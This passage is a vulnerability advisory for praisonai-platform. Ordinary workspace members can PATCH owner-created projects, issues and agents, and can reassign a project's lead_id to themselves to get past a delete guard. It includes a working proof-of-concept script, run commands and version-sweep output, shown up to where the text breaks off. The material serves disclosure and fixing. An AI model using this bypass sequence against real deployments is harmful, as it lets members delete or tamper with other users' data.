PraisonAI: Platform member PATCH routes allow owner resource rewrites and project lead reassignment delete bypass

Platform member PATCH routes allow owner resource rewrites and project lead reassignment delete bypass

Summary

praisonai-platform lets an ordinary workspace member patch owner-created project, issue, and agent records even though the paired delete routes enforce owner/admin authorization. For projects, the member can first patch lead_id to their own user id and then delete the owner-created project, bypassing a delete guard that correctly returned 403 before the reassignment.

Technical Details

The affected boundary is the difference between "is a workspace member" and "owns or administers this resource". src/praisonai-platform/praisonai_platform/api/deps.py defines require_workspace_member, require_workspace_admin, require_workspace_owner, and require_delete_permission. require_workspace_member only checks that the caller has at least the member role in the workspace, while require_delete_permission allows delete only for workspace admins/owners or the resource owner.

The project update route in src/praisonai-platform/praisonai_platform/api/routes/projects.py defines PATCH /workspaces/{workspace_id}/projects/{project_id} with user: AuthIdentity = Depends(require_workspace_member). It passes title, description, status, lead_type, and lead_id into ProjectService.update. src/praisonai-platform/praisonai_platform/services/project_service.py then writes project.lead_id = lead_id when supplied. The paired project delete route first loads the project and calls require_delete_permission(workspace_id, user, session, resource_owner_id=project.lead_id). This means an ordinary member can mutate the ownership field that the delete route later trusts.

The same update/delete asymmetry exists for issues and agents. src/praisonai-platform/praisonai_platform/api/routes/issues.py defines PATCH /workspaces/{workspace_id}/issues/{issue_id} with only require_workspace_member, validates referenced ids are in the workspace, then calls IssueService.update to write fields including title, description, status, priority, assignee_id, and project_id. The paired delete route checks resource_owner_id=issue.creator_id. src/praisonai-platform/praisonai_platform/api/routes/agents.py defines PATCH /workspaces/{workspace_id}/agents/{agent_id} with only require_workspace_member and calls AgentService.update to write fields including instructions, runtime_mode, and runtime_config; the paired delete route checks resource_owner_id=agent.owner_id.

The intended owner/admin boundary is visible from the delete routes and from the local negative controls: a workspace member cannot directly delete an owner-created project, issue, or agent, and a non-member cannot patch an issue. The vulnerability is that the PATCH routes do not apply an equivalent owner/admin or resource-specific update guard.

PoV

the PoV starts an in-memory FastAPI app backed by SQLite, creates an owner, a member, and an outsider, adds the member to the owner's workspace, then exercises the project, issue, and agent routes without touching any live service.

Essential excerpt:

direct_delete_project = await client.delete(
    f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
    headers=member_headers,
)

patch_project = await client.patch(
    f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
    json={
        "title": "Member-controlled project",
        "status": "active",
        "lead_type": "member",
        "lead_id": member_id,
    },
    headers=member_headers,
)

delete_project_after_takeover = await client.delete(
    f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
    headers=member_headers,
)

patch_issue = await client.patch(
    f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
    json={"title": "Member rewrote owner issue", "status": "done"},
    headers=member_headers,
)

patch_agent = await client.patch(
    f"/api/v1/workspaces/{workspace_id}/agents/{agent_id}",
    json={"instructions": "member-controlled instructions", "status": "idle"},
    headers=member_headers,
)

outsider_patch_issue = await client.patch(
    f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
    json={"title": "outsider attempt"},
    headers=outsider_headers,
)

The full PoV script is included in the appendix below as pov_platform_member_update_bypass.py.

PoC

Current head tested:

846568c7a5d8ce9e71e56e4c213f027c04909753
2026-06-17T20:13:04+01:00
chore: clean up redundant 'persist-credentials' entries in GitHub workflows

Run against a local checkout of current head:

uv run --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_member_update_bypass.py --repo /path/to/PraisonAI --json

Decisive current-head output:

{
  "source": "git:846568c7a5d8ce9e71e56e4c213f027c04909753",
  "workspace_role": "member",
  "checks": {
    "member_direct_project_delete_before_patch": 403,
    "member_project_patch_lead_to_self": 200,
    "member_project_delete_after_lead_takeover": 204,
    "owner_get_project_after_member_delete": 404,
    "member_issue_patch": 200,
    "owner_observes_member_issue_title": "Member rewrote owner issue",
    "member_issue_delete_after_patch": 403,
    "member_agent_patch": 200,
    "owner_observes_member_agent_instructions": "member-controlled instructions",
    "member_agent_delete_after_patch": 403,
    "non_member_issue_patch": 403
  },
  "vulnerable": true
}

Run against the latest PyPI package observed during testing:

uv run --with 'praisonai-platform==0.1.8' --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_member_update_bypass.py --json

Decisive latest-PyPI output:

{
  "source": "pypi:praisonai-platform==0.1.8",
  "workspace_role": "member",
  "checks": {
    "member_direct_project_delete_before_patch": 403,
    "member_project_patch_lead_to_self": 200,
    "member_project_delete_after_lead_takeover": 204,
    "owner_get_project_after_member_delete": 404,
    "member_issue_patch": 200,
    "owner_observes_member_issue_title": "Member rewrote owner issue",
    "member_issue_delete_after_patch": 403,
    "member_agent_patch": 200,
    "owner_observes_member_agent_instructions": "member-controlled instructions",
    "member_agent_delete_after_patch": 403,
    "non_member_issue_patch": 403
  },
  "vulnerable": true
}

Version sweep excerpt:

praisonai-platform 0.1.4: member PATCH project/issue/agent returned 200, but direct member DELETE also returned 204, so the current delete-guard bypass is masked by broader older delete authorization behavior.
praisonai-platform 0.1.6: direct project DELETE returned 403, member PATCH set lead to self returned 200, project DELETE after lead takeover returned 204, issue/agent PATCH returned 200, issue/agent DELETE returned 403.
praisonai-platform 0.1.8: direct project DELETE returned 403, member PATCH set lead to self returned 200, project DELETE after lead takeover returned 204, issue/agent PATCH returned 200, issue/agent DELETE returned 403.

Impact

An ordinary workspace member can modify owner-created Platform records that should remain owner/admin controlled. For projects, the member can turn a denied direct delete into an allowed delete by reassigning lead_id through PATCH, causing owner project data loss. For issues, the member can rewrite owner-created titles/statuses while delete remains blocked. For agents, the member can replace owner-created instructions and runtime-related configuration fields while delete remains blocked. In a shared workspace, this is a concrete integrity violation and can disrupt work tracking or agent behavior.

Suggested severity: High. Suggested CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L (7.1). Suggested CWEs: CWE-862 Missing Authorization and CWE-863 Incorrect Authorization. The score is conservative: it assumes the attacker already has ordinary workspace member privileges and does not claim confidentiality impact.

Suggested Fix

Apply resource-specific update authorization before mutating project, issue, or agent records. A straightforward approach is to mirror the delete route's owner/admin check for PATCH routes, or introduce a require_update_permission helper that allows workspace admins/owners and the relevant resource owner only.

For projects, do not let an ordinary member set lead_id on an existing owner-created project. Treat lead reassignment as an admin/owner operation, and validate that the new lead belongs to the workspace and is eligible for that role.

Add regression tests for these cases: a plain member cannot patch an owner-created project, issue, or agent; a member cannot reassign project lead_id to gain delete permission; owner/admin callers can still patch according to intended policy; a non-member still receives 403.

Affected Package/Versions

Affected package: pypi:praisonai-platform.

Latest PyPI version observed during testing: 0.1.8. Current head 846568c7a5d8ce9e71e56e4c213f027c04909753 is affected.

The owner/admin update authorization gap is confirmed in sampled versions 0.1.4, 0.1.6, 0.1.8, and current head. The specific project delete-guard bypass through lead_id reassignment is confirmed in 0.1.6, 0.1.8, and current head. In 0.1.4, direct member deletes already returned 204, so the lead-reassignment chain is masked by a broader older delete issue.

Suggested affected range for the update authorization gap: pypi:praisonai-platform >=0.1.4, <=0.1.8. Suggested affected range for the project lead-reassignment delete bypass after delete checks were introduced: pypi:praisonai-platform >=0.1.6, <=0.1.8. No fixed version or fix commit was observed.

Advisory History

Visible PraisonAI Platform advisories include several related authorization fixes, but the checked public advisories do not appear to cover this same same-workspace PATCH authorization gap and project lead_id delete-guard bypass.

GHSA-rh39-9c67-59mh, "Missing ownership check on DELETE endpoints allows members to delete others' content in Platform API", covers DELETE endpoints. This report is distinct because the PoV shows direct project DELETE is denied with 403, then PATCH succeeds, then DELETE succeeds only after lead_id is reassigned through the update route.

GHSA-2fjj-qqg8-fg7x, "Authorization Bypass Through User-Controlled Key in praisonai-platform", covers user-controlled project_id reference handling and cross-workspace stats pollution. This report does not rely on foreign workspace ids; the attacker is a legitimate member of the same workspace as the owner-created records.

GHSA-gv23-xrm3-8c62, GHSA-6h6v-6m7w-7vxx, GHSA-943m-6wx2-rc2j, GHSA-xwq8-frcg-77q8, and GHSA-7p8g-6c6g-h9w7 cover cross-workspace object access by global id. This report is scoped to same-workspace owner/admin authorization and includes a non-member negative control returning 403.

References

• https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mh
• https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2fjj-qqg8-fg7x
• https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gv23-xrm3-8c62
• https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6h6v-6m7w-7vxx
• https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-943m-6wx2-rc2j
• https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xwq8-frcg-77q8
• https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7p8g-6c6g-h9w7
• https://cwe.mitre.org/data/definitions/862.html
• https://cwe.mitre.org/data/definitions/863.html

Appendix A - Longer Version Sweep

=== praisonai-platform 0.1.4 ===
"member_direct_project_delete_before_patch": 204
"member_project_patch_lead_to_self": 404
"member_issue_patch": 200
"member_agent_patch": 200
"member_issue_delete_after_patch": 204
"member_agent_delete_after_patch": 204
"non_member_issue_patch": 403

=== praisonai-platform 0.1.6 ===
"member_direct_project_delete_before_patch": 403
"member_project_patch_lead_to_self": 200
"member_project_delete_after_lead_takeover": 204
"owner_get_project_after_member_delete": 404
"member_issue_patch": 200
"member_issue_delete_after_patch": 403
"member_agent_patch": 200
"member_agent_delete_after_patch": 403
"non_member_issue_patch": 403

=== praisonai-platform 0.1.8 ===
"member_direct_project_delete_before_patch": 403
"member_project_patch_lead_to_self": 200
"member_project_delete_after_lead_takeover": 204
"owner_get_project_after_member_delete": 404
"member_issue_patch": 200
"member_issue_delete_after_patch": 403
"member_agent_patch": 200
"member_agent_delete_after_patch": 403
"non_member_issue_patch": 403

Appendix B - Full PoV Script

Save this as pov_platform_member_update_bypass.py before running the PoC commands above.

#!/usr/bin/env python3
"""PoV for PraisonAI Platform same-workspace member update bypass."""

from __future__ import annotations

import argparse
import asyncio
import json
import os
import sys
from pathlib import Path
from typing import Any


def _load_local_source(repo: Path | None) -> None:
    if repo is None:
        return
    platform_root = repo / "src" / "praisonai-platform"
    agents_root = repo / "src" / "praisonai-agents"
    for path in (str(platform_root), str(agents_root)):
        if path not in sys.path:
            sys.path.insert(0, path)


async def _register(client: Any, email: str, name: str) -> tuple[str, str]:
    response = await client.post(
        "/api/v1/auth/register",
        json={"email": email, "password": "Password1!", "name": name},
    )
    if response.status_code >= 400:
        raise RuntimeError(f"register failed for {email}: {response.status_code} {response.text}")
    body = response.json()
    return body["token"], body["user"]["id"]


async def _run(repo: Path | None) -> dict[str, Any]:
    os.environ["PLATFORM_JWT_SECRET"] = "local-poc-secret-32-bytes-minimum"
    _load_local_source(repo)

    from httpx import ASGITransport, AsyncClient
    from sqlalchemy.ext.asyncio import create_async_engine

    from praisonai_platform.api.app import create_app
    from praisonai_platform.db import base as base_mod
    from praisonai_platform.db.base import Base, reset_engine

    await reset_engine()
    engine = create_async_engine(
        "sqlite+aiosqlite:///:memory:",
        echo=False,
        connect_args={"check_same_thread": False},
    )
    base_mod._engine = engine
    base_mod._session_factory = None
    async with engine.begin() as conn:
        await conn.run_sync(Base.metadata.create_all)

    app = create_app()
    transport = ASGITransport(app=app)
    async with AsyncClient(transport=transport, base_url="http://local-poc") as client:
        owner_token, owner_id = await _register(client, "owner@example.com", "Owner")
        member_token, member_id = await _register(client, "member@example.com", "Member")
        outsider_token, _ = await _register(client, "outsider@example.com", "Outsider")

        owner_headers = {"Authorization": f"Bearer {owner_token}"}
        member_headers = {"Authorization": f"Bearer {member_token}"}
        outsider_headers = {"Authorization": f"Bearer {outsider_token}"}

        ws_resp = await client.post(
            "/api/v1/workspaces/",
            json={"name": "Shared Workspace", "slug": "shared-workspace"},
            headers=owner_headers,
        )
        ws_resp.raise_for_status()
        workspace_id = ws_resp.json()["id"]

        add_member = await client.post(
            f"/api/v1/workspaces/{workspace_id}/members",
            json={"user_id": member_id, "role": "member"},
            headers=owner_headers,
        )
        add_member.raise_for_status()

        project_resp = await client.post(
            f"/api/v1/workspaces/{workspace_id}/projects/",
            json={
                "title": "Owner project",
                "description": "Owned by the workspace owner",
                "lead_type": "member",
                "lead_id": owner_id,
            },
            headers=owner_headers,
        )
        project_resp.raise_for_status()
        project_id = project_resp.json()["id"]

        direct_delete_project = await client.delete(
            f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
            headers=member_headers,
        )

        patch_project = await client.patch(
            f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
            json={
                "title": "Member-controlled project",
                "status": "active",
                "lead_type": "member",
                "lead_id": member_id,
            },
            headers=member_headers,
        )

        delete_project_after_takeover = await client.delete(
            f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
            headers=member_headers,
        )
        owner_get_deleted_project = await client.get(
            f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
            headers=owner_headers,
        )

        issue_resp = await client.post(
            f"/api/v1/workspaces/{workspace_id}/issues/",
            json={"title": "Owner issue", "priority": "high"},
            headers=owner_headers,
        )
        issue_resp.raise_for_status()
        issue_id = issue_resp.json()["id"]

        patch_issue = await client.patch(
            f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
            json={"title": "Member rewrote owner issue", "status": "done"},
            headers=member_headers,
        )
        owner_get_issue = await client.get(
            f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
            headers=owner_headers,
        )
        delete_issue = await client.delete(
            f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
            headers=member_headers,
        )

        agent_resp = await client.post(
            f"/api/v1/workspaces/{workspace_id}/agents/",
            json={"name": "OwnerAgent", "instructions": "owner-only instructions"},
            headers=owner_headers,
        )
        agent_resp.raise_for_status()
        agent_id = agent_resp.json()["id"]

        patch_agent = await client.patch(
            f"/api/v1/workspaces/{workspace_id}/agents/{agent_id}",
            json={"instructions": "member-controlled instructions", "status": "idle"},
            headers=member_headers,
        )
        owner_get_agent = await client.get(
            f"/api/v1/workspaces/{workspace_id}/agents/{agent_id}",
            headers=owner_headers,
        )
        delete_agent = await client.delete(
            f"/api/v1/workspaces/{workspace_id}/agents/{agent_id}",
            headers=member_headers,
        )

        outsider_patch_issue = await client.patch(
            f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
            json={"title": "outsider attempt"},
            headers=outsider_headers,
        )

    await engine.dispose()
    base_mod._engine = None
    base_mod._session_factory = None

    owner_issue_body = owner_get_issue.json() if owner_get_issue.status_code == 200 else {}
    owner_agent_body = owner_get_agent.json() if owner_get_agent.status_code == 200 else {}
    patch_project_body = patch_project.json() if patch_project.status_code == 200 else {}

    checks = {
        "member_direct_project_delete_before_patch": direct_delete_project.status_code,
        "member_project_patch_lead_to_self": patch_project.status_code,
        "member_project_delete_after_lead_takeove…